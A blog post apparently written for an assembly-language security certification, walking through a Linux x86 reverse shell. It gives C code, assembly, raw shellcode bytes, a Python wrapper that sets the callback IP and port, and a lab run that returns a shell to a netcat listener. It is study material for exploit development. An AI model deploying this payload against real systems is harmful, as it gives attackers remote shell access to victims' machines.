Assignment #2 in the SLAE exam is to create a exec reverse shell shellcode.
I rewrote the c-program in SLAE Assignment #1 | Bind shell to become a reverse shell instead of a bind:
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <unistd.h>
#define PORT 4451
int main(char* arg[], int argv){
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(PORT);
inet_aton("127.0.0.1", &addr.sin_addr.s_addr);
int sockFD = socket(AF_INET, SOCK_STREAM, 0);
int sizeOfAddr = sizeof(addr);
connect(sockFD, (struct sockaddr *) &addr, sizeOfAddr);
dup2(sockFD, STDOUT_FILENO);
dup2(sockFD, STDIN_FILENO);
dup2(sockFD, STDERR_FILENO);
char *argvV[] = {"/bin/sh",NULL};
char *envp[] = {NULL};
execve("/bin/sh", argvV, envp );
return 0;
}
Notable changes from the previous version:
bind
,listen
andaccept
has been replaced withconnect
.
Index for the sys_connect
call is 3
:
tomasuh@osboxes:/mnt/hgfs/SLAE/assignment-2$ cat /usr/include/linux/net.h | grep SYS_CONNECT
#define SYS_CONNECT 3 /* sys_connect(2)
Now lets modify the assembly from assignment 1.
global _start
section .text
_start:
socket:
xor eax,eax
push eax ;protocol
inc eax
push eax ;SOCK_STREAM
inc eax
push eax ;AF_INET
mov al, 0x66 ;sys_socketcall
mov ebx, [esp+4] ; socket(AF_INET, SOCK_STREAM, 0)
mov ecx, esp ; socket args
int 0x80
mov edi, eax
; file descriptor now in eax
bind:
push 0x11223344 ;ip replace me in wrapper
xor ebx,ebx ;zero out ebx
;AF_INET (0002) and sin_port ffff
;push 0xcdab0002 <-- zero bytes
mov cx, 0xcccc ; port number, replace me in wrapper
shl ecx, 0x10
mov cl, 0x2 ; <-- AF_INET
push ecx
;setup arguments
mov [esp-8],esp ;load the sockaddr struct address on the stack at correct offset
push 0x10 ; size of sockaddr_in is 16 bytes
sub esp,0x4 ; correct the stack offset because of preload of sockaddr_in struct
push eax ; file descriptor
mov al, 0x66 ;sys_socketcall
mov bl, 0x3 ; connect(int sockfd, const struct sockaddr *addr,socklen_t addrlen);
mov ecx, esp ;arguments
int 0x80
dup2:
xor ecx, ecx
mov eax, edi ;eax=fd
jump:
mov al, 0x3f ; dup2 sys call
int 0x80 ;int dup2(int oldfd, int newfd);
inc ecx ;
cmp ecx,0x2 ; call dup for stdin,stdout,stderr
jle jump
execve:
xor eax,eax
push dword [esp-8] ; referencing null being pushed below
push eax ;ends /bin//sh with null and argv and envp as null arguments
mov edx, esp; envp
mov ecx, esp ; argv
push 0x68732f2f;//sh
push 0x6e69622f;/bin
mov ebx, esp
mov al, 0xb ;; execve(const char *filename, char *const argv[],char *const envp[]);
int 0x80
Compiling and exporting shellcode:
tomasuh@osboxes:/mnt/hgfs/SLAE/assignment-2$ ../tools/format_shellcode.py reverse_shell
Python style shellcode:
"\x31\xc0\x50\x40\x50\x40\x50\xb0\x66\x8b\x5c\x24\x04\x89\xe1\xcd\x80\x89\xc7\x68\x44\x33\x22\x11\x31\xdb\x66\xb9\xcc\xcc\xc1\xe1\x10\xb1\x02\x51\x89\x64\x24\xf8\x6a\x10\x83\xec\x04\x50\xb0\x66\xb3\x03\x89\xe1\xcd\x80\x31\xc9\x89\xf8\xb0\x3f\xcd\x80\x41\x83\xf9\x02\x7e\xf6\x31\xc0\xff\x74\x24\xf8\x50\x89\xe2\x89\xe1\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
NASM stylish:
0x31,0xc0,0x50,0x40,0x50,0x40,0x50,0xb0,0x66,0x8b,0x5c,0x24,0x04,0x89,0xe1,0xcd,0x80,0x89,0xc7,0x68,0x44,0x33,0x22,0x11,0x31,0xdb,0x66,0xb9,0xcc,0xcc,0xc1,0xe1,0x10,0xb1,0x02,0x51,0x89,0x64,0x24,0xf8,0x6a,0x10,0x83,0xec,0x04,0x50,0xb0,0x66,0xb3,0x03,0x89,0xe1,0xcd,0x80,0x31,0xc9,0x89,0xf8,0xb0,0x3f,0xcd,0x80,0x41,0x83,0xf9,0x02,0x7e,0xf6,0x31,0xc0,0xff,0x74,0x24,0xf8,0x50,0x89,0xe2,0x89,0xe1,0x68,0x2f,0x2f,0x73,0x68,0x68,0x2f,0x62,0x69,0x6e,0x89,0xe3,0xb0,0x0b,0xcd,0x80
Now lets create a wrapper around the shellcode to be able to set IP and port:
#!/usr/bin/python
import struct
import socket
def format_shellcode(ip, port):
return "\\x31\\xc0\\x50\\x40\\x50\\x40\\x50\\xb0\\x66\\x8b\\x5c\\x24\\x04\\x89" +\
"\\xe1\\xcd\\x80\\x89\\xc7\\x68" +\
ip +\
"\\x31\\xdb\\x66\\xb9" + \
port + \
"\\xc1\\xe1\\x10\\xb1\\x02\\x51\\x89\\x64\\x24\\xf8\\x6a\\x10\\x83\\xec" + \
"\\x04\\x50\\xb0\\x66\\xb3\\x03\\x89\\xe1\\xcd\\x80\\x31\\xc9\\x89\\xf8" + \
"\\xb0\\x3f\\xcd\\x80\\x41\\x83\\xf9\\x02\\x7e\\xf6\\x31\\xc0\\xff\\x74" + \
"\\x24\\xf8\\x50\\x89\\xe2\\x89\\xe1\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f" + \
"\\x62\\x69\\x6e\\x89\\xe3\\xb0\\x0b\\xcd\\x80"
def get_ip(addr):
return socket.inet_aton(addr)
def packPort(port):
return struct.pack("!H", port)
def format_val(string):
return "\\x" + "\\x".join("{:02x}".format(ord(c)) for c in string)
ip = raw_input("IP:")
if ip == "":
ip = "172.16.143.141"
ipEnc = format_val(get_ip(ip))
port = int(raw_input("Port:"))
portEnc = format_val(packPort(port))
print format_shellcode(ipEnc, portEnc)
Running it:
tomasuh@osboxes:/mnt/hgfs/SLAE/assignment-2$ ./wrapper.py
IP:172.16.143.141
Port:4444
\x31\xc0\x50\x40\x50\x40\x50\xb0\x66\x8b\x5c\x24\x04\x89\xe1\xcd\x80\x89\xc7\x68\xac\x10\x8f\x8d\x31\xdb\x66\xb9\x11\x5c\xc1\xe1\x10\xb1\x02\x51\x89\x64\x24\xf8\x6a\x10\x83\xec\x04\x50\xb0\x66\xb3\x03\x89\xe1\xcd\x80\x31\xc9\x89\xf8\xb0\x3f\xcd\x80\x41\x83\xf9\x02\x7e\xf6\x31\xc0\xff\x74\x24\xf8\x50\x89\xe2\x89\xe1\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80
Now we can try to run the shellcode:
tomasuh@osboxes:/mnt/hgfs/SLAE/assignment-2$ ../tools/runShellcode.py "\x31\xc0\x50\x40\x50\x40\x50\xb0\x66\x8b\x5c\x24\x04\x89\xe1\xcd\x80\x89\xc7\x68\xac\x10\x8f\x8d\x31\xdb\x66\xb9\x11\x5c\xc1\xe1\x10\xb1\x02\x51\x89\x64\x24\xf8\x6a\x10\x83\xec\x04\x50\xb0\x66\xb3\x03\x89\xe1\xcd\x80\x31\xc9\x89\xf8\xb0\x3f\xcd\x80\x41\x83\xf9\x02\x7e\xf6\x31\xc0\xff\x74\x24\xf8\x50\x89\xe2\x89\xe1\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
And at the same time in another terminal:
tomasuh@osboxes:/mnt/hgfs/SLAE/assignment-2$ nc -l 4444
ls
1
peda-session-dash.txt
peda-session-reverse_shell.txt
poc
poc.c
reverse_shell
reverse_shell.asm
reverse_shell.o
wrapper.py
exit
tomasuh@osboxes:/mnt/hgfs/SLAE/assignment-2$
Great, it worked out :)
It should be noted that IP-addresses with null-bytes are not supported.
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE - 569